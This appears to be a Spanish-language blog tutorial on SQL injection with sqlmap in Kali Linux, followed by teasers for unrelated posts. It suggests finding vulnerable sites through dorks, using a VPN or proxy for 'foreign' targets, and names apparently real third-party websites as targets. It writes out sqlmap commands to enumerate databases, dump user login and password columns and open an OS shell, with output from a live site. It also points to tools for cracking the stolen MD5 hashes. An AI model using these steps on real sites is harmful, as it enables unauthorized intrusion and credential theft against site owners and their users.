Ir al contenido principal

INYECCIÓN SQL en KALI LINUX usando SQLMAP

Antes que comience mis exámenes y la guerra batman contra superman he decido hacer un tutorial sobre SQL, ya que anteriormente he hecho tutorial de DORK lo encontráis en mi web.

Alguna veces han creado alguna base de datos? Bueno es casi parecido la funcionalidad que tiene esa herramienta pero la única diferencia que tenemos es que no tenemos acceso a la base de datos ni gráfico para verlo más cómodamente. Solo tenemos una vulnerabilidad en el cual lo vamos a manejar o acceder por medio de la terminal y comandos. Que tiene una base de datos? Tiene un usuario de la base de dato creada, tabla, columna, etc etc…

Bueno puedes investigar más sobre las bases de datos de un servidor. En google o creando tu propio base de datos en tu sistema de Kali Linux.
Como mencione anteriormente vamos encontrar primero una vulnerabilidad  SQL en el cual existe DORK o puedes encontrarlo escaneando un sitio web.
En mi caso usaremos un DORK, aclaro llegaremos a usar la herramienta pero no romperemos ninguna web, por cuestión que algunos dork están parchados o solo oculto el admin y la contraseña.

Buscamos el DORK en mi caso recomiendo no GOOGLE sino BING usando VPN o PROXY para encontrar más vulnerabilidades extranjeras.
Ya encontré una pero la vamos a ver que sorpresa nos ofrece esa vulnerabilidad.

Una vulnerabilidad SQL puedes agregar [‘] Esa comillas te dirá todo pero te lanza ese error del servidor en cual antiguamente los expertos lo hacen manualmente, yo empece haciendo manualmente en el cual no es tan fácil, con el tiempo aparecieron nuevas herramientas donde te manejabas fácilmente, como en windows apareció HAVIJ  una herramienta en cual te ofrece el escaneo de la vulnerabilidad y te ofrece un escaneo de su panel de control con algunas extensiones de desencriptación MD5. Ahora Kali Linux tambien ofrece una herramienta para escanear esas vulnerabilidades para acceder a la base de datos. Su herramienta se llama SQLMAP

Vemos que es SQLMAP?

sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detectar y explotar los errores de inyección SQL y  falla de los servidores de bases de datos. Viene con un potente motor de detección, muchas características para el probador de penetración máxima y una amplia gama de interruptores que duran de toma de huellas dactilares de base de datos, ir a buscar a través de datos de la base de datos, para acceder al sistema de archivos subyacente y ejecutar comandos en el sistema operativo a través de fuera conexiones de banda.
USANDO ESTA VULNERABILIDAD
http://www.coconatsgarden.com/catalogo_detalle.php?id=101
http://www.coconatsgarden.com/catalogo_detalle.php?id=101'
Así se ven los errores

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
OTRO.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12
Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”
Para ver y encontrar la base de datos.
sqlmap -h
 

Ahora empezaremos.
 sqlmap -u http://www.squiglysplayhouse.com/BrainTeasers/bt.php?id=101 --dbs
Si vieron que cambio la URL es porque la anterior simplemente estaba parchada.

Y ESTO ES EL RESULTADO.

[14:27:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.16, PHP 5.5.30
back-end DBMS: MySQL 5.0.12
[14:27:12] [INFO] fetching database names
[14:27:12] [INFO] the SQL query used returns 2 entries
[14:27:12] [INFO] resumed: information_schema
[14:27:12] [INFO] resumed: squiglys_myDB
available databases [2]:                                                                                       
[*] information_schema
[*] squiglys_myDB
En el cual vemos que “squiglys_myDB” es el nombre de la base de dato creada.
sqlmap = Nombre de sqlmap
-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15)
--dbs = Enumerate DBMS databases
Ahora vamos a ver sus tablas del nombre de la base de datos.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D squiglys_myDB --tables


El resultado de la table es:

En el cual ninguna tabla muestra donde vamos encontrar el usuario pero sigamos mostrando la herramienta.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns
Les explico rápidamente -D es el nombre de la base de datos –dbs, -T es la tabla Pero recuerda que están abreviadas y llevan mayúscula.

Pero el Resultado ya es muy diferente. Lo que saben crear base de datos se daran cuenta que le mostrará el tipo y el texto creado en la base de datos.

Sigamos.revisando la base de datos.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump
Como vemos -C se convirtió pero recuerden que es la columna.

EL RESULTADO ES SI ENCUENTRAS EL LOGIN BUENO VAS A ENCONTRAR EL USUIARIO Y LA CONTRASEÑA EN MI CASO ENCONTRÉ UNA CONVERSACIÓN.

En algunas base de datos confunde y uno tiene que andar mirando por todos lados para encontrar el usuario y la contraseña En otros caso las bases de datos ellas mismas te dicen “HEY cread aquí esta el login y la contraseña.”
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump
Si ustedes localizaron el usuario y la contraseña rápidamente se darán cuenta que esta encriptada.
Existe paginas para desencriptar porque las contraseñas lo hacen con MD5.
pero existe una herramienta en Kali Linux para hacer eso.
hash-identifier

Otros comandos que te pueden automatizar el proceso
sqlmap -u http://10.11.1.35 --crawl=1
sqlmap -u http://10.11.1.35/comment.php?id=738 --dbms=mysql --dump --threads=5
sqlmap -u http://10.11.1.35/comment.php?id=738 --dbms=mysql --os-shell

Comentarios

Entradas populares de este blog

Gestión de Proyectos: 5 tareas clave para dirigir la fase de ejecución

Independientemente del enfoque de gestión de proyectos adoptado, bien sea el predictivo tradicional, o los nuevos enfoques ágiles, el llevar a feliz término un proyecto implica más que hacer una buena planificación y medición de los avances. En este artículo exploramos algunas tareas clave que deben convertirse en hábitos para el Jefe de Proyectos durante la fase de ejecución, abarcando aspectos como asegurar que todas las partes tengan el mismo entendimiento, guiar y apoyar al equipo, eliminación de impedimentos, resolución rápida de problemas, saber reconocer las señales de alerta y tomar acciones en función a ellas.

Testing de aceptación automatizado con selenium

La comunidad de ingeniería del software, está dando cada vez más importancia a las metodologías ágiles, y estas a su vez le dan un sitial de gran importancia al Software Testing de Aceptación Automatizado. Un ejemplo de esta situación es el “Desarrollo Guiado por Pruebas ( Test Driven Development )”, método en el que el código de programa es desarrollado de acuerdo a casos de prueba previamente definidos.

Crud con C# y SQL Server

  Para los que recién empiezan a desarrollar aplicaciones de escritorio, siempre tienen dudas de como realizar un CRUD ( Create, Read, Update y Delete ) de un registro, En esta oportunidad lo haremos con C# y SQL Server. Hay muchas formas de hacer un CRUD y con distintos  elementos windows forms. Lo importante es saber hacer un INSERT y luego procederemos con el UPDATE, DELETE y el SELEC para buscar un registro.   Crearemos el siguiente formulario con sus botones para cada acción del CRUD:   Usaremos los siguientes elementos:  Creamos la Base de Datos:  create database Productos;  go use Productos;  go create table postres (  id int not null identity,  nombre varchar(50) not null,  precio decimal(6,2),  stock float,  constraint pk_postres primary key(id) );   Ahora vamos con nuestro código. En los comentarios describo lo que hago en cada bloque de código:      // Instancio las Directivas. usin...